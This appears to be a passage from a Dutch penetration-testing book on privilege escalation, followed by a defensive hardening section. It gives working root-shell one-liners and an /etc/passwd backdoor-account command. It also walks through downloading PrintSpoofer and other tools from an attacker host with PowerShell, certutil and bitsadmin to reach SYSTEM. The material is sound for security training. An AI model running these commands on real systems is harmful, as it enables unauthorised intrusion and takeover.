# Python met cap_setuid
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl met cap_setuid
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

6.15 Writable /etc/passwd

Op oudere systemen, of systemen die slecht geconfigureerd zijn, is /etc/passwd writable voor niet-root gebruikers:

# Check permissies
ls -la /etc/passwd

Als je schrijfrechten hebt:

# Genereer een wachtwoord hash
openssl passwd -1 hacked

# Voeg een root-equivalent gebruiker toe
echo 'hacker:$1$xyz$hashedpassword:0:0:root:/root:/bin/bash' >> /etc/passwd

# Login als je nieuwe root gebruiker
su hacker
# Wachtwoord: hacked

De UID 0 is wat telt. Elk account met UID 0 is effectief root, ongeacht de naam.

6.16 Kernel exploits: de nucleaire optie

Kernel exploits zijn de laatste redmiddel. Ze zijn krachtig, maar onvoorspelbaar – een verkeerde exploit kan de machine crashen. Gebruik ze alleen als alle andere opties zijn uitgeput.

# Bepaal kernel versie
uname -a
cat /proc/version

# Zoek bekende exploits
# searchsploit linux kernel <versie>
# Google: "linux kernel <versie> privilege escalation"

Bekende voorbeelden:

IB Tip: Kernel exploits zijn riskant in productieomgevingen. In een lab: ga je gang. In een pentest: overleg altijd met de opdrachtgever voordat je kernel exploits inzet. Een crash is niet te verantwoorden.

Deel 4: IB Tool Delivery

Je hebt nu een uitgebreid repertoire aan escalatie-technieken. Maar al die technieken hebben een ding gemeen: je hebt tools nodig op het target. En dat is precies waar het IB download-systeem om de hoek komt kijken.

6.17 De Download Blueprint

IB’s download blueprint (meuk/flask/download.py) is het leveringssysteem voor tools en payloads. Het is opgezet met een simpel maar effectief beveiligingsmodel: standaard alleen beschikbaar vanaf localhost.

De architectuur:

IB Server (aanvalsmachine)
    |
    +-- /payloads/<bestand>  (of /p/<bestand>)     -> http/payloads/
    +-- /tools/<bestand>     (of /t/<bestand>)     -> http/tools/
    +-- /tools/mini/<bestand> (of /tm/<bestand>)   -> http/tools/mini/
    |
    +-- /dashboard/files      -> Overzicht van tools en payloads
    +-- /dashboard/bestanden  -> Lijst tools (tekst)
    +-- /dashboard/payloads   -> Lijst payloads (tekst)

Het beveiligingsmodel werkt als volgt:

_ALLOWED_LOCAL_IPS = {"127.0.0.1", "::1"}

def _downloads_allowed():
    # Optie 1: PUBLIC_DOWNLOADS=true in config
    if current_app.config.get("PUBLIC_DOWNLOADS", False):
        return True
    # Optie 2: Request komt van localhost
    if request.remote_addr in _ALLOWED_LOCAL_IPS:
        return True
    # Optie 3: Dashboard access token
    return dashboard_access_allowed()

Er zijn drie manieren om downloads beschikbaar te maken:

1. Localhost – altijd toegestaan (voor je eigen machine)
2. PUBLIC_DOWNLOADS=true – voor labs waar je de server exposeert
3. Dashboard access token – voor geauthenticeerde toegang op afstand

Korte URL’s

IB biedt verkorte URL’s voor snellere delivery:

Dit scheelt typwerk op het target en maakt het makkelijker om commando’s te onthouden.

6.18 De get_* commands: 28 tools aan je vingertoppen

IB bevat 28 get_* commands die elk een specifieke tool downloaden naar het target. Ze volgen allemaal hetzelfde patroon:

powershell -c (new-object System.Net.WebClient).DownloadFile(
    'http://10.0.0.1/tools/TOOL.exe',
    'c:\windows\tasks\TOOL.exe'
)

Dit is de volledige lijst:

6.19 Walkthrough: tool downloaden en uitvoeren

Laten we het hele proces doorlopen van begin tot eind. Scenario: je hebt een shell op een Windows-machine als service account, en je wilt escaleren naar SYSTEM.

Stap 1: Controleer je rechten

whoami /priv

Output bevat SeImpersonatePrivilege – bingo.

Stap 2: Zorg dat IB draait op je aanvalsmachine

# Op je aanvalsmachine
cd incompetentbastard
flask --app app:create_app run --host 0.0.0.0 --port 80

Let op: --host 0.0.0.0 zodat het target de server kan bereiken. In een lab is dit prima. In een pentest wil je wellicht een specifiek interface binden.

Stap 3: Download PrintSpoofer via IB

Ga naar het IB dashboard, Commands-pagina. Klik op get_printspoofer32. Kopieer het command en voer het uit op het target:

powershell -c (new-object System.Net.WebClient).DownloadFile(
    'http://10.0.0.1/tools/PrintSpoofer32.exe',
    'c:\windows\tasks\PrintSpoofer32.exe'
)

Of, als PowerShell geblokkeerd is, via certutil:

certutil -urlcache -f http://10.0.0.1/tools/PrintSpoofer32.exe C:\Windows\tasks\ps.exe

Stap 4: Voer uit

cd C:\Windows\tasks
ps.exe -i -c cmd

Stap 5: Bevestig escalatie

whoami
:: NT AUTHORITY\SYSTEM

Van service account naar SYSTEM in vier commando’s. De hele operatie duurt minder dan een minuut.

IB Tip: Als je liever vanuit het dashboard werkt: het IB Files overzicht (/dashboard/files) toont alle beschikbare tools en payloads. Je kunt de lijst gebruiken om te controleren welke tools beschikbaar zijn voordat je een command uitvoert.

Alternatieve delivery methoden

PowerShell WebClient en certutil zijn niet je enige opties. Hier zijn alternatieven voor als de ene geblokkeerd is:

# Invoke-WebRequest (PowerShell 3+)
Invoke-WebRequest -Uri http://10.0.0.1/tools/tool.exe -OutFile C:\Windows\tasks\tool.exe

# Invoke-RestMethod
Invoke-RestMethod -Uri http://10.0.0.1/tools/tool.exe -OutFile C:\Windows\tasks\tool.exe

# BitsTransfer
Import-Module BitsTransfer
Start-BitsTransfer -Source http://10.0.0.1/tools/tool.exe -Destination C:\Windows\tasks\tool.exe

# .NET WebClient (alternatieve syntax)
(New-Object System.Net.WebClient).DownloadFile('http://10.0.0.1/t/tool.exe','C:\Windows\tasks\tool.exe')

:: certutil (vaak beschikbaar, zelden geblokkeerd)
certutil -urlcache -f http://10.0.0.1/t/tool.exe C:\Windows\tasks\tool.exe

:: bitsadmin
bitsadmin /transfer job /download /priority high http://10.0.0.1/t/tool.exe C:\Windows\tasks\tool.exe

Deel 5: Verdediging

Nu we uitgebreid hebben besproken hoe je privilege escaleert, is het tijd voor het tegenoffensief. Want als dit boek alleen aanvalstechnieken zou beschrijven zonder verdediging, zouden we niet veel beter zijn dan een handleiding voor inbrekers.

6.20 Least privilege: het principe dat niemand volgt

Het principe van least privilege stelt dat elke gebruiker, elk proces, en elk account precies die rechten moet hebben die nodig zijn voor zijn functie, en niet meer. Het is zo’n principe dat iedereen kent, iedereen onderschrijft, en niemand implementeert.

Even de cynische versie: “Iedereen in een organisatie heeft local admin rechten. De CEO heeft het nodig om zijn printer driver te installeren. De accountant heeft het nodig omdat een applicatie uit 2003 het vereist. De stagiair heeft het nodig omdat… ja, eigenlijk weet niemand waarom. Maar het intrekken zou een helpdesk-ticket veroorzaken, en dat is erger dan een datalek.”

En dat is het fundamentele probleem. Local admin rechten zijn de single biggest attack surface op Windows-machines. Met local admin kun je:

• Mimikatz draaien en credentials dumpen
• Services installeren en configureren
• De firewall uitschakelen
• AV uitschakelen of whitelisten
• Tokens impersonaten

Zonder local admin kun je vrijwel niets van bovenstaande.

Concrete maatregelen

+-------------------------------+-------------------------------------------+
| Maatregel                     | Effect                                    |
+-------------------------------+-------------------------------------------+
| Verwijder onnodige local admin| Blokkeert >80% van escalatie-aanvallen    |
| LAPS implementeren            | Uniek local admin wachtwoord per machine  |
| Credential Guard              | Beschermt LSASS tegen Mimikatz            |
| Disable WDigest               | Geen plaintext wachtwoorden in geheugen   |
| UAC op "Always Notify"        | Blokkeert meeste UAC bypasses             |
| Fix unquoted service paths    | Verwijdert een triviaal escalatiepad      |
| AppLocker/WDAC                | Blokkeert uitvoering van onbekende tools  |
| Remove SeImpersonatePrivilege | Blokkeert Potato/PrintSpoofer aanvallen   |
+-------------------------------+-------------------------------------------+

6.21 LAPS: Local Administrator Password Solution

LAPS is Microsoft’s antwoord op het probleem van gedeelde local admin wachtwoorden. Zonder LAPS heeft elke machine in het domein hetzelfde local admin wachtwoord – of helemaal geen local admin wachtwoord. Met LAPS krijgt elke machine een uniek, willekeurig gegenereerd wachtwoord dat automatisch rouleert.

# Controleer of LAPS is geinstalleerd
Get-ADObject 'CN=ms-Mcs-AdmPwd,CN=Schema,CN=Configuration,DC=domain,DC=local'

# Bekijk LAPS wachtwoord (als je rechten hebt)
Get-ADComputer -Identity WORKSTATION01 -Properties ms-Mcs-AdmPwd | Select-Object ms-Mcs-AdmPwd

LAPS lost een simpel maar verwoestend probleem op: als je een local admin hash dumpt op machine A, en elke machine hetzelfde wachtwoord heeft, kun je lateraal bewegen naar machine B, C, D, en E. Met LAPS werkt de hash maar op een machine.

6.22 Credential Guard

Credential Guard gebruikt virtualization-based security (VBS) om LSASS te isoleren. Mimikatz kan er niet bij. Het is alsof je de kluis niet in de bank zet, maar in een aparte dimensie. Zelfs als de inbreker in de bank staat, kan hij de kluis niet bereiken.

# Controleer of Credential Guard actief is
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard |
    Select-Object SecurityServicesRunning

6.23 Linux hardening

# Vind en repareer onnodige SUID bits
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
# Verwijder SUID waar niet nodig:
chmod u-s /usr/bin/onnodig_binary

# Audit sudo configuratie
visudo
# Vermijd: ALL=(ALL) NOPASSWD: ALL
# Gebruik: specifiek_user specifiek_host = (specifiek_target) specifiek_command

# Controleer cron job permissies
find /etc/cron* -writable -type f 2>/dev/null
# Fix: chmod 644 of strenger

# Controleer capabilities
getcap -r / 2>/dev/null
# Verwijder onnodige capabilities:
setcap -r /usr/bin/onnodig_binary

# Controleer /etc/passwd permissies
ls -la /etc/passwd /etc/shadow
# Moet zijn: -rw-r--r-- root root /etc/passwd
#            -rw-r----- root shadow /etc/shadow

Het ongemakkelijke gesprek over local admin

Laten we eerlijk zijn. De hele reden dat privilege escalation zo effectief is in de meeste organisaties, is niet een technisch probleem. Het is een politiek probleem. Een cultureel probleem. Een menselijk probleem.

Ergens, ooit, heeft iemand een helpdesk-ticket aangemaakt: “Ik kan mijn printer niet installeren.” De systeembeheerder, die al achttien tickets in de wachtrij had, twee vergaderingen had gemist, en zijn lunch had overgeslagen, klikte op “Toevoegen aan lokale Administrators-groep” en ging door met zijn dag.

Dat was tien jaar geleden. Die gebruiker is inmiddels gepensioneerd. Maar zijn local admin-rechten zijn er nog steeds. Net als die van de 400 andere gebruikers die om soortgelijke redenen local admin kregen. En nu is het “beleid.” Want als 400 mensen het hebben, is het geen uitzondering meer. Het is een standaard.

“Weet je wat het probleem is met beveiligingsbeleid?” Laat het even bezinken. “Het wordt geschreven door mensen die nooit een aanval hebben meegemaakt, goedgekeurd door mensen die niet weten wat het betekent, en genegeerd door mensen die het zouden moeten implementeren. Het is een keten van incompetentie zo perfect dat je het bijna zou bewonderen.”

En precies daarom worden pentesters ingehuurd. Niet om te bewijzen dat systemen kwetsbaar zijn – dat weet iedereen. Maar om de organisatie te dwingen het op te schrijven, er een risicoscore aan te hangen, en het in een rapport te zetten dat naar het management gaat. Want een PowerPoint is de enige taal die beslissers spreken.

Referentietabel

Samenvatting

Privilege escalation is niet het resultaat van briljante hacking. Het is het resultaat van luie configuratie, vergeten beleidsregels en de universele menselijke neiging om “het later wel te fixen.” Elke techniek in dit hoofdstuk – van AlwaysInstallElevated tot wildcard injection, van Mimikatz tot writable cron jobs – exploiteert niet een technisch gebrek, maar een menselijk gebrek.

De tools zijn beschikbaar. De technieken zijn gedocumenteerd. De verdediging is bekend. Het enige dat ontbreekt, is de wil om het goed te doen.

En dat, beste lezer, is waarom wij pentesters nog steeds werk hebben.

IB Tip: Na een succesvolle privilege escalation, vergeet niet je bevindingen vast te leggen in het IB Findings-systeem (/dashboard/findings). Documenteer de gebruikte techniek, het pad van gebruiker naar SYSTEM/root, en het bewijs. Dit vormt de basis van je rapport. Want een escalatie zonder documentatie is alsof een boom valt in het bos en niemand hoort het – het is niet gebeurd.

Volgend hoofdstuk: Hoofdstuk 7 – Active Directory Vorig hoofdstuk: Hoofdstuk 5 – Windows Enumeratie